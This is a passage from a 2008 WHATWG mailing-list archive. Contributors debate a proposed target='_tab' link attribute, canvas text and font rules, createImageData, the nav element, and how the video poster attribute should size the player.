you're right that everything important has been already said. I have withdrawn this proposal because it has been pointed out that it is not backwards compatible and the correct solution will be part of CSS3 anyway (which is much more flexible - we will have not only target-new, but also target-position; I guess you strongly dislike both of them).

But the discussion has been interesting anyway. There is probably no point in carrying on because we see the problem from two different standpoints - you want to have the specs as "pure" as possible while I want them to be as flexible as possible so that it can accommodate any use case you can think of. I kind of understand why simpler standards are better than the longer ones but on the other hand, the lack of "_tab" or something similar makes my user experience on some websites suboptimal (heck, even frustrating sometimes). If you can't appreciate that different users can have different user preferences ("I can't honestly come up with a single reason why a webpage should open a new window instead of tab"), you will probably have hard times understanding my points. But your view is quite common as I've learned :)

Regards,
Borek



----- Original Message ----
From: Jo?o Eiras <joao.eiras at gmail.com>
To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
Sent: Thursday, 12 June, 2008 7:17:19 PM
Subject: Re: [whatwg] Proposal: target="_tab"

Hi ! I didn't saw that reply.

> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER.

You're not understanding me:
when I say browser, obviously I mean client, client-side, browser,
user or whatever you want to call it, as opposed to web application or
server-side

> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.

Then we're going to bloat a specification due to browser idiosyncrasies ?
Allowing a page to control such behavior would be bad. Currently
browsers with tabbed interface manage to unclutter the taskbar and
desktop, while aggregate pages inside a single window, which is
overall good for the user's experience, good for performance, good
usability.

We'd be providing a mechanism that is not backwards compatible with
the current state of the art user agents, although we've seen that new
features heavily demanded get implemented quickly, and we'd be
providing, again, authors with mechanism to degrade the user's
experience.

I can't honestly come up with a single reason why a webpage should
open a new window instead of tab. All use cases you can come up fit
better if new tabs are open. If you don't like the fact that a tab
fits the entire window, you can either detach it, your use a user
agent that support MDI interface.

With all this say now your going to tell me I'm contradicting myself
by supporting windows now. No, you'd be wrong. I'd expect a browser to
always open tabs if there's a _blank target. Having _target and_tab
would require UA's to support two different way of opening new pages:
tabbed and detached ones.

For me it's all a matter of letting the user control the web page.

Considering this discussion is still going to last a bit, and
everything significant that could be said by me and others was said, I
rest my case.

Cheers.


2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> Programmatically controlling the containment of a new window is a two-edged
> sword: you can provide for the lame user agent but you can also override
> user settings.  The latter possibility is more painful; upgrading the
> browser is easier than dealing with an impertinent Web site.
> IMHO,
> Chris
> P.S.: If you want your answer to go to Jo?o only, just send it exclusively
> to him.
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Thursday, June 12, 2008 11:25 AM
> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Jo?o,
>
> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER. Please read all my arguments before, it's not true that a
> user using a tabbed browser always prefers opening new tabs instead of new
> windows. That's just your user preference.
>
> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.
>
>
>
>



      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From joao.eiras at gmail.com  Fri Jun 13 01:03:58 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Fri, 13 Jun 2008 09:03:58 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <274491.49551.qm@web25907.mail.ukl.yahoo.com>
References: <274491.49551.qm@web25907.mail.ukl.yahoo.com>
Message-ID: <e72b1b360806130103o3bc0e460i1927bd4fc01d255a@mail.gmail.com>

2008/6/13 Borek Bernard <borekbe at yahoo.co.uk>:
> Hi Jo?o,
>
> you're right that everything important has been already said. I
> have withdrawn this proposal because it has been pointed out that it
> is not backwards compatible and the correct solution will be part of
> CSS3 anyway (which is much more flexible - we will have not only
> target-new, but also target-position; I guess you strongly dislike
> both of them).

What's lovely about css, is that features like this can be easily
disabled with local stylesheet. Overriding _tab would requiring
running local script, which greater performance impact, and migh thave
unforseen consequences. So css gives greater control, with less
effort.

>
> But the discussion has been interesting anyway. There is probably no
> point in carrying on because we see the problem from two different
> standpoints - you want to have the specs as "pure" as possible while I
> want them to be as flexible as possible so that it can accommodate any
> use case you can think of.

It's not about being pure, it's about not giving more control to the
webpage than it should have. For a webpage running in a tab or
separate window is exactly the same thing.


> I kind of understand why simpler standards are better than the longer
> ones but on the other hand, the lack of "_tab" or something similar
> makes my user experience on some websites suboptimal (heck, even
> frustrating sometimes). If you can't appreciate that different users
> can have different user preferences ("I can't honestly come up with a
> single reason why a webpage should open a new window instead of tab"),

This is not a user preference. It's the complete opposite. The spec
would allow a user preference to be broken by spaning windows or tabs
accordingly to the webpage author's liking.
Historically, we've seen that giving webpage control over the user's
browser in someway can be abused: alert(), open(), oncontextmenu ...

> you will probably have hard times understanding my points. But your
> view is quite common as I've learned :)



> Regards,
> Borek
>
>
>
> ----- Original Message ----
> From: Jo?o Eiras <joao.eiras at gmail.com>
> To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
> Sent: Thursday, 12 June, 2008 7:17:19 PM
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi ! I didn't saw that reply.
>
>> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
>> up to the USER.
>
> You're not understanding me:
> when I say browser, obviously I mean client, client-side, browser,
> user or whatever you want to call it, as opposed to web application or
> server-side
>
>> Also, having means to open new tabs as opposed to new windows in the specs
>> is nothing against the user preference, in fact, it helps to express the
>> user preference if the browser fails to provide it.
>
> Then we're going to bloat a specification due to browser idiosyncrasies ?
> Allowing a page to control such behavior would be bad. Currently
> browsers with tabbed interface manage to unclutter the taskbar and
> desktop, while aggregate pages inside a single window, which is
> overall good for the user's experience, good for performance, good
> usability.
>
> We'd be providing a mechanism that is not backwards compatible with
> the current state of the art user agents, although we've seen that new
> features heavily demanded get implemented quickly, and we'd be
> providing, again, authors with mechanism to degrade the user's
> experience.
>
> I can't honestly come up with a single reason why a webpage should
> open a new window instead of tab. All use cases you can come up fit
> better if new tabs are open. If you don't like the fact that a tab
> fits the entire window, you can either detach it, your use a user
> agent that support MDI interface.
>
> With all this say now your going to tell me I'm contradicting myself
> by supporting windows now. No, you'd be wrong. I'd expect a browser to
> always open tabs if there's a _blank target. Having _target and_tab
> would require UA's to support two different way of opening new pages:
> tabbed and detached ones.
>
> For me it's all a matter of letting the user control the web page.
>
> Considering this discussion is still going to last a bit, and
> everything significant that could be said by me and others was said, I
> rest my case.
>
> Cheers.
>
>
> 2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
>> Programmatically controlling the containment of a new window is a two-edged
>> sword: you can provide for the lame user agent but you can also override
>> user settings.  The latter possibility is more painful; upgrading the
>> browser is easier than dealing with an impertinent Web site.
>> IMHO,
>> Chris
>> P.S.: If you want your answer to go to Jo?o only, just send it exclusively
>> to him.
>>
>> -----Original Message-----
>> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
>> Sent: Thursday, June 12, 2008 11:25 AM
>> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
>> Subject: Re: [whatwg] Proposal: target="_tab"
>>
>> Hi Jo?o,
>>
>> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
>> up to the USER. Please read all my arguments before, it's not true that a
>> user using a tabbed browser always prefers opening new tabs instead of new
>> windows. That's just your user preference.
>>
>> Also, having means to open new tabs as opposed to new windows in the specs
>> is nothing against the user preference, in fact, it helps to express the
>> user preference if the browser fails to provide it.
>>
>>
>>
>>
>
>
>
>      __________________________________________________________
> Sent from Yahoo! Mail.
> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html
>


From mail at jorgenhorstink.nl  Fri Jun 13 01:17:57 2008
From: mail at jorgenhorstink.nl (Jorgen Horstink)
Date: Fri, 13 Jun 2008 10:17:57 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <e72b1b360806130103o3bc0e460i1927bd4fc01d255a@mail.gmail.com>
References: <274491.49551.qm@web25907.mail.ukl.yahoo.com>
	<e72b1b360806130103o3bc0e460i1927bd4fc01d255a@mail.gmail.com>
Message-ID: <0B0E4DAB-E397-4431-ACDD-D441E4B85755@jorgenhorstink.nl>

I've been following this discussion for a while and I agree a new  
'_tab' target is not necessary. To my mind _blank implies a new  
browser canvas. There are two implementations for creating a new  
canvas these days; a new window, or a new tab. The key question is:  
what does _blank mean? Does it only mean 'a new window'? Or does it  
mean 'a new canvas'? To my mind it means the latter.
I don't see why HTML should bother with user experience (new tab, or  
new window). This has more to do with style sheets (also this is  
arguably to my mind).

-jorgen

On Jun 13, 2008, at 10:03 AM, Jo?o Eiras wrote:

> 2008/6/13 Borek Bernard <borekbe at yahoo.co.uk>:
>> Hi Jo?o,
>>
>> you're right that everything important has been already said. I
>> have withdrawn this proposal because it has been pointed out that it
>> is not backwards compatible and the correct solution will be part of
>> CSS3 anyway (which is much more flexible - we will have not only
>> target-new, but also target-position; I guess you strongly dislike
>> both of them).
>
> What's lovely about css, is that features like this can be easily
> disabled with local stylesheet. Overriding _tab would requiring
> running local script, which greater performance impact, and migh thave
> unforseen consequences. So css gives greater control, with less
> effort.
>
>>
>> But the discussion has been interesting anyway. There is probably no
>> point in carrying on because we see the problem from two different
>> standpoints - you want to have the specs as "pure" as possible  
>> while I
>> want them to be as flexible as possible so that it can accommodate  
>> any
>> use case you can think of.
>
> It's not about being pure, it's about not giving more control to the
> webpage than it should have. For a webpage running in a tab or
> separate window is exactly the same thing.
>
>
>> I kind of understand why simpler standards are better than the longer
>> ones but on the other hand, the lack of "_tab" or something similar
>> makes my user experience on some websites suboptimal (heck, even
>> frustrating sometimes). If you can't appreciate that different users
>> can have different user preferences ("I can't honestly come up with a
>> single reason why a webpage should open a new window instead of  
>> tab"),
>
> This is not a user preference. It's the complete opposite. The spec
> would allow a user preference to be broken by spaning windows or tabs
> accordingly to the webpage author's liking.
> Historically, we've seen that giving webpage control over the user's
> browser in someway can be abused: alert(), open(), oncontextmenu ...
>
>> you will probably have hard times understanding my points. But your
>> view is quite common as I've learned :)
>
>
>
>> Regards,
>> Borek
>>
>>
>>
>> ----- Original Message ----
>> From: Jo?o Eiras <joao.eiras at gmail.com>
>> To: Borek Bernard <borekbe at yahoo.co.uk>; whatwg at lists.whatwg.org
>> Sent: Thursday, 12 June, 2008 7:17:19 PM
>> Subject: Re: [whatwg] Proposal: target="_tab"
>>
>> Hi ! I didn't saw that reply.
>>
>>> I'm not sure why you keep insisting that it's up to the browser --  
>>> IMO, it's
>>> up to the USER.
>>
>> You're not understanding me:
>> when I say browser, obviously I mean client, client-side, browser,
>> user or whatever you want to call it, as opposed to web application  
>> or
>> server-side
>>
>>> Also, having means to open new tabs as opposed to new windows in  
>>> the specs
>>> is nothing against the user preference, in fact, it helps to  
>>> express the
>>> user preference if the browser fails to provide it.
>>
>> Then we're going to bloat a specification due to browser  
>> idiosyncrasies ?
>> Allowing a page to control such behavior would be bad. Currently
>> browsers with tabbed interface manage to unclutter the taskbar and
>> desktop, while aggregate pages inside a single window, which is
>> overall good for the user's experience, good for performance, good
>> usability.
>>
>> We'd be providing a mechanism that is not backwards compatible with
>> the current state of the art user agents, although we've seen that  
>> new
>> features heavily demanded get implemented quickly, and we'd be
>> providing, again, authors with mechanism to degrade the user's
>> experience.
>>
>> I can't honestly come up with a single reason why a webpage should
>> open a new window instead of tab. All use cases you can come up fit
>> better if new tabs are open. If you don't like the fact that a tab
>> fits the entire window, you can either detach it, your use a user
>> agent that support MDI interface.
>>
>> With all this say now your going to tell me I'm contradicting myself
>> by supporting windows now. No, you'd be wrong. I'd expect a browser  
>> to
>> always open tabs if there's a _blank target. Having _target and_tab
>> would require UA's to support two different way of opening new pages:
>> tabbed and detached ones.
>>
>> For me it's all a matter of letting the user control the web page.
>>
>> Considering this discussion is still going to last a bit, and
>> everything significant that could be said by me and others was  
>> said, I
>> rest my case.
>>
>> Cheers.
>>
>>
>> 2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
>>> Programmatically controlling the containment of a new window is a  
>>> two-edged
>>> sword: you can provide for the lame user agent but you can also  
>>> override
>>> user settings.  The latter possibility is more painful; upgrading  
>>> the
>>> browser is easier than dealing with an impertinent Web site.
>>> IMHO,
>>> Chris
>>> P.S.: If you want your answer to go to Jo?o only, just send it  
>>> exclusively
>>> to him.
>>>
>>> -----Original Message-----
>>> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
>>> Sent: Thursday, June 12, 2008 11:25 AM
>>> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
>>> Subject: Re: [whatwg] Proposal: target="_tab"
>>>
>>> Hi Jo?o,
>>>
>>> I'm not sure why you keep insisting that it's up to the browser --  
>>> IMO, it's
>>> up to the USER. Please read all my arguments before, it's not true  
>>> that a
>>> user using a tabbed browser always prefers opening new tabs  
>>> instead of new
>>> windows. That's just your user preference.
>>>
>>> Also, having means to open new tabs as opposed to new windows in  
>>> the specs
>>> is nothing against the user preference, in fact, it helps to  
>>> express the
>>> user preference if the browser fails to provide it.
>>>
>>>
>>>
>>>
>>
>>
>>
>>     __________________________________________________________
>> Sent from Yahoo! Mail.
>> A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html
>>
>



From ian at hixie.ch  Fri Jun 13 01:38:53 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 08:38:53 +0000 (UTC)
Subject: [whatwg] Text APIs on <canvas>
In-Reply-To: <4822C1AB.7000902@opera.com>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<op.uasdo9g9yd8894@kossa.palace.opera.no>
	<Pine.LNX.4.62.0805071958410.9075@hixie.dreamhostps.com>
	<4822C1AB.7000902@opera.com>
Message-ID: <Pine.LNX.4.62.0806130831430.8559@hixie.dreamhostps.com>

On Thu, 8 May 2008, Mathieu HENRI wrote:
> > 
> > The idea is that only scalable (vector) fonts should be used, since 
> > otherwise things will quickly look ugly. I've made the spec require 
> > this.
> > 
> > Going forward the spec is likely to require effects such as adding 
> > text to paths, which will require vector data for all fonts used 
> > anyway. I don't want to mislead implementators into thinking bitmap 
> > fonts are in any way an option in this day and age.
> 
> The problem is that bitmap fonts flourish on handheld and devices and, 
> as mentioned by others, in high density alphabets. With the Text APIs 
> being a MUST, this can be a bugger.

This will improve over time, though. It's not like bitmap fonts are the 
solution people want, they're just the stopgap while systems improve to 
the point of being able to handle real fonts.


> Apropos context.fillText() and the maxWidth attribute, the spec now says
> 
> 	" 4. If the maxWidth argument was specified and the hypothetical 
> width of the inline box in the hypothetical line box is greater than 
> maxWidth CSS pixels, then change font to have a more condensed font (if 
> one is available or if a reasonably readable one can be synthesised by 
> applying a horizontal scale factor to the font) or a smaller font, and 
> return to the previous step. "
> 
> Scaling the glyphs uniformly, vertically anchored to the textBaseline, 
> would look much more coherent and be more predictable for developers 
> than applying a non-uniform scaling or changing the font altogether.
> 
> If possible I would loose the part about changing the font or applying 
> an horizontal scale factor to the font.

I think that slight condensing, if possible, looks much better than 
varying the font size slightly. At the moment, it's up to the UAs to 
decide what to do, though, so if implementations decide scaling is 
better, they are welcome to do that.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From mjs at apple.com  Fri Jun 13 01:43:56 2008
From: mjs at apple.com (Maciej Stachowiak)
Date: Fri, 13 Jun 2008 01:43:56 -0700
Subject: [whatwg] createImageData
In-Reply-To: <484DF430.4090807@sicking.cc>
References: <Pine.LNX.4.62.0611151735330.28418@dhalsim.dreamhost.com>
	<4560F162.7060204@stefan-haustein.com>
	<Pine.LNX.4.62.0805020038260.21650@hixie.dreamhostps.com>
	<0738FD12-AC1F-44C0-B731-2FF7C6084BDC@pobox.com>
	<Pine.LNX.4.62.0805100036080.23610@hixie.dreamhostps.com>
	<E5819C3D-698A-4AFC-9CD6-C0BDE670227F@pobox.com>
	<3A588C7C-DD91-495E-87F0-4FAAA2E60E71@pobox.com>
	<6D02C77F-6528-4032-8071-00CCF8D43B5C@apple.com>
	<0C3E377C-A5E4-4D7A-90A8-F97513B1CA1E@pobox.com>
	<B483364C-AA4F-405F-BDEB-4081071B43B9@apple.com>
	<3176995D-372E-4430-A2F6-0605E93123E8@pobox.com>
	<E31F35F6-366E-4680-81E7-72F6E07E1D9F@apple.com>
	<CE1AC749-12A0-4FD6-BF55-5B68032C018C@pobox.com>
	<B27A91CD-A9A8-4BA8-8A3B-F1802F5A1314@apple.com>
	<66629F5C-A66F-484E-AAF4-6618BF7AA574@pobox.com>
	<484DF430.4090807@sicking.cc>
Message-ID: <FA4E72B1-AC68-45F6-8BDB-5A4FE8A4E00C@apple.com>


On Jun 9, 2008, at 8:25 PM, Jonas Sicking wrote:

> Vladimir Vukicevic wrote:
>> Sorry it took me a bit to respond here... so, ok, based on the  
>> discussion, I'd suggest:
>> - user-created ImageData-like objects should be supported, e.g.  
>> with language such as:
>
> Do note that dealing with user-created objects isn't trivial. You  
> have to be prepared for dealing with the user-created object  
> changing the whole world under you during a callback, this includes  
> things like doing any modification to the canvas object itself, but  
> also things like script navigating away and then causing a GC to  
> tear down the world around you.
>
> This is usually not very hard to deal with, as long as you are not  
> deep inside a long callstack when calling out to content. This is  
> because you have to ensure that the whole callstack is ok with the  
> world changing around it.

As an additional note: inn implementations that support getters and  
setters, any property access to a user-created object may call back  
into arbitrary JS code. Even in those that do not, a toNumber  
conversion of an arbitrary JS value may call back into arbitrary JS  
code.

Regards,
Maciej



From jorgebg at tagpoint.es  Fri Jun 13 01:58:56 2008
From: jorgebg at tagpoint.es (Jorge Bay Gondra)
Date: Fri, 13 Jun 2008 10:58:56 +0200
Subject: [whatwg] Fwd: nav Element
In-Reply-To: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>
References: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>
Message-ID: <a980f6160806130158l167d4f00t490a955c0e1f4d13@mail.gmail.com>

To the correct list this time...

---------- Forwarded message ----------
From: Jorge Bay Gondra <jorgebg at tagpoint.es>
Date: 2008/6/12
Subject: nav Element
To: whatwg at whatwg.org


Hi to all,
About the nav element:
I was trying to imaging how it would be to build a site, and I realized
that, in the case of site with 2 nav bars (typically 2 sidebars) there's not
a way to specify which is the "main" sidebar and which is accessory...
What do you think about specifying hierarchy for navs elements?

Regards to all!
Jorge

Note: In the nav sample (
http://www.whatwg.org/specs/web-apps/current-work/multipage/the-root.html#the-nav)
that includes several places with links, should be a good idea that the
header and footer list of links have to be represented in an unordered list
ul..., and not in a paragraph (!?), do you agree?



-- 
Jorge Bay Gondra
www.tagpoint.es
Tel: 918283482
Movil: 628760491
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080613/da98e608/attachment.htm>

From ian at hixie.ch  Fri Jun 13 02:01:50 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 09:01:50 +0000 (UTC)
Subject: [whatwg] [canvas] imageRenderingQuality property
In-Reply-To: <11e306600806111459u2dbe32e3v2743009c956f45a4@mail.gmail.com>
References: <C3ADCBC7-B974-4614-9DAC-2A1EDD2B1D6D@pobox.com> 
	<08BB7103-F7ED-4AB3-80A9-DD6692B28AE9@apple.com>
	<24C1058B-359C-4312-B1A2-BD4C630A27B4@pobox.com>
	<E0624F2C-7A41-4384-828E-BCC7DC77A9B7@apple.com> 
	<11e306600806021519h55955cd2v99b8139cf9e949c6@mail.gmail.com> 
	<AFE6C8A6-00C0-4CA2-92DD-96EAA4886700@apple.com> 
	<82c3f5040806030709n7a2317dcxa66a358b7969161e@mail.gmail.com> 
	<Pine.LNX.4.62.0806111017060.8559@hixie.dreamhostps.com>
	<11e306600806111459u2dbe32e3v2743009c956f45a4@mail.gmail.com>
Message-ID: <Pine.LNX.4.62.0806130900370.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, Robert O'Callahan wrote:
> On Wed, Jun 11, 2008 at 10:34 PM, Ian Hickson <ian at hixie.ch> wrote:
> 
> > Why not just have the UA run in a high quality mode the first time it 
> > is painted on, but if the script tries to paint again within a certain 
> > amount of time, switch to high speed?
> >
> 
> This makes sense.
> 
> However, there is still a potential use case for speed vs quality hints: 
> when the author wants to treat some content on the page as visually more 
> important than other content. For example, you might have a gallery page 
> with a bunch of unimportant bling around the actual image/canvas you 
> care about.
> 
> I'm unsure whether that's realistic enough to justify supporting hints.

I think we should put off adding a feature to handle that case until we've 
got a site that would actually benefit from it.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Fri Jun 13 02:09:33 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 09:09:33 +0000 (UTC)
Subject: [whatwg] are relative values of CanvasRenderingContext2D.font
 live	to style	changes?
In-Reply-To: <20080612215846.GA6679@pickering.dbaron.org>
References: <20080612215846.GA6679@pickering.dbaron.org>
Message-ID: <Pine.LNX.4.62.0806130908360.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, L. David Baron wrote:
>
> I'm looking at
> http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas.html#text
> which currently says:
>   # When the 'font-size' component is set to lengths using
>   # percentages, 'em' or 'ex' units, or the 'larger' or 'smaller'
>   # keywords, these must be interpreted relative to the computed
>   # value of the 'font-size' property of the corresponding canvas
>   # element. When the 'font-weight' component is set to the relative
>   # values 'bolder' and 'lighter', these must be interpreted
>   # relative to the computed value of the 'font-weight' property of
>   # the corresponding canvas element. If the computed values are
>   # undefined for a particular case (e.g. because the canvas element
>   # is not in a document), then the relative keywords must be
>   # interpreted relative to the normal-weight 10px sans-serif
>   # default. 
> 
> Suppose that the computed style of the corresponding canvas element
> changes between when the font DOM attribute is set and text is
> drawn.  Based on the text above, it's not clear to me whether values
> like '1em' or 'lighter' should be relative to the canvas's values at
> the time the font is set or the time the text is drawn.
>
> [...]
> 
> I'd prefer if it were static, because for Mozilla, we'd either have to 
> add new infrastructure to handle dynamic style changes for elements 
> inside something that's display:none or we'd have to recompute the style 
> for every text operation (probably the latter).

It is now explicitly static. (Also changed for 'currentColor'.)

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From giecrilj at stegny.2a.pl  Fri Jun 13 02:14:27 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Fri, 13 Jun 2008 11:14:27 +0200
Subject: [whatwg] Some media element details
In-Reply-To: <Pine.LNX.4.62.0806120028330.8559@hixie.dreamhostps.com>
References: <8344104F-7ED2-46A5-A149-CBB60107E318@apple.com><Pine.LNX.4.62.0805150155350.12911@hixie.dreamhostps.com><FA54794E-BA4F-491B-A817-2DEF9F44E05D@apple.com>
	<Pine.LNX.4.62.0806120028330.8559@hixie.dreamhostps.com>
Message-ID: <7A18D3A5F5814F16B78C29F738C61F8E@POCZTOWIEC>

The _function_ performed by the play/pause button is reciprocally
correlated; OTOH, its _interactivity_ (whether enabled) can be related to
playback state.  Not that I like this overprotective design.
HTH,
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Ian Hickson
Sent: Thursday, June 12, 2008 2:36 AM
To: Antti Koivisto
Cc: whatwg at whatwg.org
Subject: Re: [whatwg] Some media element details


The state of a play/pause button is definitely not correlated to the 
playback state. It's correlated to the "paused" boolean.






From ian at hixie.ch  Fri Jun 13 02:26:56 2008
From: ian at hixie.ch (Ian Hickson)
Date: Fri, 13 Jun 2008 09:26:56 +0000 (UTC)
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
Message-ID: <Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, Philip J?genstedt wrote:
> 
> <video poster="image_of_unknown_dimension" 
> src="video_of_unknown_but_same_dimension"></video>
> 
> This is a probable and reasonable scenario, but currently it's 
> impossible to use a poster image without knowing its dimensions.

It's not impossible; first black would render 300x150, then the poster 
would render in that same 300x150 box, and then when the video comes in, 
the box would grow to fit the video and the video would render in that 
box. The poster works fine, it just doesn't size the video box to itself.

How often will the poster be the right size?

I suppose we could require the poster to be the same size as the video if 
the height/width attributes are absent.


> > > That the element may be resized twice is not a problem, at least not 
> > > implementation-wise.
> > 
> > That it's resized at all is a terrible problem; that it would resize 
> > twice would be a disaster, UI-wise.
> 
> Since the poster image will only be displayed until the video starts 
> playing, the options when width/height is not given are:
> 
> 1. the poster image is displayed at size 300x150 for several seconds 
> while the video is loading, after which the video element takes the size 
> of the video
> 
> 2. the poster image is displayed at its native size for several seconds 
> while the video is loading, after which the video element takes the size 
> of the video (which will often be the same size)
> 
> Since a resize is possible in both cases (but less likely in case 2)
> both are equally problematic UI-wise, except that the image will
> actually be displayed with its correct dimensions in case 2.

Both cases will start at 300x150 until the poster frame is downloaded. The 
question is whether we get one resize or two.


> This is just to provide sane defaults for authors who trust the browser 
> to do the right things in absence of width/height. Safari already uses 
> the intrinsic dimensions of the poster image and then resizes to the 
> intrinsic dimensions of the video, which is exactly the behavior we want 
> to implement.

On Thu, 12 Jun 2008, Chris Double wrote:
> 
> This is the behaviour I was planning to implement for poster too btw. As 
> a user of the video element it seemed the most logical to me.

Fine, fine, I'll spec that. :-)


Note that this all falls apart if there are multiple videos of different 
dimensions, or if the video has a pixel ratio set.


> In the absence of a poster attribute does Safari load the first frame of 
> the video and display that? I seem to recall it did when using a 
> quicktime movie but not with a Theora movie using the XiphQT plugin. Is 
> displaying the first frame of the video something that's useful? In the 
> Firefox implementation I display the first frame, but I should be 
> displaying nothing, right?

When a video element is paused and the current playback position is the 
first frame of video, the element represents either the frame of video 
corresponding to the current playback position or the image given by the 
poster attribute, at the discretion of the user agent.


Cheers,
-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From jg307 at cam.ac.uk  Fri Jun 13 03:48:19 2008
From: jg307 at cam.ac.uk (James Graham)
Date: Fri, 13 Jun 2008 11:48:19 +0100
Subject: [whatwg] Fwd: nav Element
In-Reply-To: <a980f6160806130158l167d4f00t490a955c0e1f4d13@mail.gmail.com>
References: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>
	<a980f6160806130158l167d4f00t490a955c0e1f4d13@mail.gmail.com>
Message-ID: <48525073.2010202@cam.ac.uk>

Jorge Bay Gondra wrote:
> To the correct list this time...
> 
> ---------- Forwarded message ----------
> From: Jorge Bay Gondra <jorgebg at tagpoint.es>
> Date: 2008/6/12
> Subject: nav Element
> To: whatwg at whatwg.org
> 
> 
> Hi to all,
> About the nav element:
> I was trying to imaging how it would be to build a site, and I realized
> that, in the case of site with 2 nav bars (typically 2 sidebars) there's not
> a way to specify which is the "main" sidebar and which is accessory...
> What do you think about specifying hierarchy for navs elements?

Arguably the outline algorithm already does this, since it places <nav> elements 
in a hierarchy along with other sections. For any case not covered by the 
outline algorithm I think that there would need to be some very strong use cases 
to add explicit markup here; what kind of UA features did you have in mind, and 
how well would they work if the markup was missing or incorrect on most pages?

-- 
"Eternity's a terrible thought. I mean, where's it all going to end?"
  -- Tom Stoppard, Rosencrantz and Guildenstern are Dead


From philipj at opera.com  Fri Jun 13 04:42:28 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Fri, 13 Jun 2008 13:42:28 +0200
Subject: [whatwg] video background color (Was: Interpretation of
	video	poster attribute)
In-Reply-To: <Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
